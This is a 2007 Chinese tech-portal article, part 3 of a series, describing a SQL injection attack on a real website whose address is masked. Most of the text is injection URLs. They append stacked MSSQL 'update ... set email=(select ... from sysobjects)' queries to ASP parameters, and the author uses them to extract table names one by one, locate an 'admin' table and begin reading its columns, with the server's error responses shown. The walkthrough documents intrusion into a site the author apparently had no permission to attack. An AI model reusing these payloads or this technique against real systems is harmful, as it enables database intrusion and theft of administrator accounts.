科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道有孔就入SQL Injection的深入探讨(3)

有孔就入SQL Injection的深入探讨(3)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序

作者:heha 来源:赛迪网技术社区 2007年9月7日

关键字: Injection 数据库 SQL Server SQL Server 各版本

  • 评论
  • 分享微博
  • 分享邮件

三、再次渗透攻击

经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了,依然是那个页,我们提交。

http://******/showspecial.asp?
Specialid=1817;update[user]set 
email=(select top 1 name from sysobjects 
where xtype=u and status>0) where id=103534;--

服务器返回

ADODB.Recordset 错误 800a0cb3

当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

/showspecial.asp,行19

出师不利,可能该页记录集打开方式是只读,我们再换一个页

找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update 
[user] set email=(select top 1 name from sysobjects
 where xtype=u and status>0) where id=103534;--

把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

http://******/ShowSinger.asp
?Classid=34&SClassid=35;update 
[user] set email=(select top 1 id from sysobjects 
where xtype=u and name=lmuser) where id=103534;--

得到第一个表lmuser的id标识号为:363148339

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--

得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。

好,接下来我们就取该表的字段名

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
 [user] set email=(select top 1 col_name(object_id(admin),1) 
from admin) where id=103534;--
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章